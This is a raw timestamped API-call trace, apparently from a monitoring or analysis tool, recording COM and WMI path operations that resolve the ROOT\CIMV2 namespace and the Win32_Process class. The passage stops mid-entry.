[0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3db20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0067.603] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3db20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c240) returned 0x0 [0067.603] WbemDefPath:IUnknown:Release (This=0x1bf3db20) returned 0x0 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c240) returned 0x0 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0067.603] WbemDefPath:IUnknown:AddRef (This=0x1bf3c240) returned 0x3 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3da60) returned 0x0 [0067.603] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3da60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.603] WbemDefPath:IUnknown:Release (This=0x1bf3da60) returned 0x3 [0067.603] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0067.603] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0067.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0067.604] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x2 [0067.604] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x1 [0067.604] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0067.604] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0067.604] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c240) returned 0x0 [0067.604] WbemDefPath:IUnknown:AddRef (This=0x1bf3c240) returned 0x3 [0067.604] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x2 [0067.604] WbemDefPath:IWbemPath:SetText (This=0x1bf3c240, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c240, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0067.604] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3c180) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c240, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c240, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c240, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0067.604] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c180, uIndex=0x0, pszName="ROOT") returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c240, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c240, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0067.604] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c180, uIndex=0x1, pszName="CIMV2") returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3c180, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0067.604] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3c180, Name="Win32_Process") returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c180, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0067.604] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c180, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0067.605] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0067.605] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0067.605] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0067.605] IUnknown:Release (This=0x111f638) returned 0x1 [0067.607] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f8550) returned 0x0 [0067.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8550, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0067.607] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8550, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3c300) returned 0x0 [0067.607] WbemDefPath:IUnknown:Release (This=0x11f8550) returned 0x0 [0067.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3c300) returned 0x0 [0067.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0067.607] WbemDefPath:IUnknown:AddRef (This=0x1bf3c300) returned 0x3 [0067.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0067.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0067.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f84d0) returned 0x0 [0067.608] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f84d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.608] WbemDefPath:IUnknown:Release (This=0x11f84d0) returned 0x3 [0067.608] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0067.608] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0067.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0067.608] WbemDefPath:IUnknown:Release (This=0x1bf3c300) returned 0x2 [0067.608] WbemDefPath:IUnknown:Release (This=0x1bf3c300) returned 0x1 [0067.608] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0067.608] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0067.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c300, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3c300) returned 0x0 [0067.608] WbemDefPath:IUnknown:AddRef (This=0x1bf3c300) returned 0x3 [0067.608] WbemDefPath:IUnknown:Release (This=0x1bf3c300) returned 0x2 [0067.608] WbemDefPath:IWbemPath:SetText (This=0x1bf3c300, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.608] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0067.608] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0067.608] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0067.608] IUnknown:Release (This=0x111f638) returned 0x1 [0067.610] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f8510) returned 0x0 [0067.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8510, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0067.610] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8510, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c3c0) returned 0x0 [0067.610] WbemDefPath:IUnknown:Release (This=0x11f8510) returned 0x0 [0067.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c3c0) returned 0x0 [0067.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0067.611] WbemDefPath:IUnknown:AddRef (This=0x1bf3c3c0) returned 0x3 [0067.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0067.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0067.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8450) returned 0x0 [0067.611] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8450, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.611] WbemDefPath:IUnknown:Release (This=0x11f8450) returned 0x3 [0067.611] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0067.611] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0067.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0067.611] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x2 [0067.611] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x1 [0067.611] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0067.611] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0067.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c3c0) returned 0x0 [0067.611] WbemDefPath:IUnknown:AddRef (This=0x1bf3c3c0) returned 0x3 [0067.611] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x2 [0067.611] WbemDefPath:IWbemPath:SetText (This=0x1bf3c3c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0067.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c300, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0067.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c3c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0067.612] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3c300) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c3c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c3c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c3c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0067.612] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c300, uIndex=0x0, pszName="root") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c3c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c3c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0067.612] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c300, uIndex=0x1, pszName="cimv2") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c3c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c3c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c300, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c300, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c300, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, 